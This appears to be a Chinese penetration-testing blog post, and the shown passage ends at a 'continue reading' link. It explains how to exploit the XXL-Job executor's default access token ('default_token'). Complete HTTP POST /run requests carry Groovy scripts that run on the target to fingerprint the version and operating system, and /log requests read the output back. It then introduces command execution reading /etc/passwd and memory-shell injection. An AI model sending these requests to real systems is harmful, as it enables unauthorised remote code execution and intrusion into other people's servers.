XXL-Job 执行器默认 AccessToken 漏洞:不出网场景下的利用与内存马注入实践

130 阅读4分钟

在渗透测试中,XXL-Job 相关漏洞常因直接反弹 shell 的便捷性被关注,但实际场景中“不出网”“无调度中心面板”的情况更为棘手。本文结合实战案例,详细拆解 XXL-Job 执行器默认 token 漏洞的版本检测、命令执行及多种内存马注入方法,同时提供一键化工具简化操作,适用于安全测试人员与运维人员参考。

XXL-Job 执行器默认 AccessToken 漏洞:不出网场景下的利用与内存马注入实践

编辑

一、漏洞背景与测试环境说明

XXL-Job 作为常用的分布式任务调度框架,部分版本的执行器存在 默认 AccessToken(default_token)  配置漏洞。攻击者可利用该漏洞绕过认证,执行恶意代码。本次测试针对“不出网、无调度中心”的实战场景,重点验证漏洞利用的可行性与替代方案。

核心测试环境参数

配置项具体内容说明
目标系统XXL-Job 执行器非完整 XXL-Job 项目,仅集成执行器模块
测试版本2.2.0、2.3.1、2.4.1覆盖主流稳定版本,验证版本差异影响
默认 Tokendefault_token执行器默认配置,未修改则存在风险
常用端口9999XXL-Job 执行器默认通信端口,需结合实际情况探测

二、版本检测与操作系统识别

不同 XXL-Job 版本的日志输出类存在差异,这是版本检测的核心依据。通过构造 /run 请求执行 Groovy 脚本,结合 /log 接口查询结果,可同时实现版本判断与操作系统识别。

2.1 XXL-Job 2.2.0 版本检测

2.2.0 版本依赖 xxl.job.core.log.XxlJobLogger 类输出日志,脚本需返回 ReturnT<String> 类型结果。

1. 发送执行请求(POST /run)

核心是通过 Groovy 脚本调用 System.getProperty("os.name") 获取系统信息,并通过 XxlJobLogger.log() 输出标识。

POST /run HTTP/1.1
Host: IP:9999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 933
 
{
  "jobId": 16,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 16,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.log.XxlJobLogger;public class DemoGlueJobHandler extends IJobHandler {@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {try {String os=System.getProperty("os.name").toLowerCase();XxlJobLogger.log(os.contains("win")?"**********Windows**********":"**********Linux/Unix**********");return com.xxl.job.core.biz.model.ReturnT.SUCCESS;} catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}}}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

成功响应为{"code":200},表示脚本已执行。

2. 查询日志(POST /log)

通过 logId 查询执行结果,日志中会包含系统标识(如**********Linux/Unix**********)。

POST /log HTTP/1.1
Host: IP:9999
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
 
{"logId": 16}

2.2 XXL-Job >2.2.0 版本检测(2.3.1/2.4.1)

2.2.0 之后的版本将日志类改为 xxl.job.core.context.XxlJobHelper,且execute 方法返回值变为void,需调整脚本适配。

核心请求差异

  • 日志类:从 XxlJobLogger 改为XxlJobHelper
  • 方法签名:从 public ReturnT<String> execute(String param) 改为void execute()

执行请求示例(POST /run)

POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 782
 
{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.context.XxlJobHelper;public class DemoGlueJobHandler extends IJobHandler {@Override void execute() throws Exception {try {String os=System.getProperty("os.name").toLowerCase();XxlJobHelper.log(os.contains("win")?"**********Windows**********":"**********Linux/Unix**********");} catch(Exception e){XxlJobHelper.log(e.getMessage());}}}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

2.3 版本与日志类对应关系

XXL-Job 版本日志输出类方法签名日志标识特征
2.2.0XxlJobLoggerReturnT execute(String param)NativeMethodAccessorImpl#invoke0
>2.2.0(2.3.1/2.4.1)XxlJobHelpervoid execute()GeneratedMethodAccessor#invoke

三、不出网场景下的命令执行

不出网环境无法直接反弹 shell,需通过 /run 接口执行命令,再通过 /log 接口读取结果,实现“执行 – 回显”闭环。以 2.2.0 版本执行 cat /etc/passwd 为例。

3.1 命令执行请求(POST /run)

继续阅读全文:XXL-Job 执行器默认 AccessToken 漏洞:不出网场景下的利用与内存马注入实践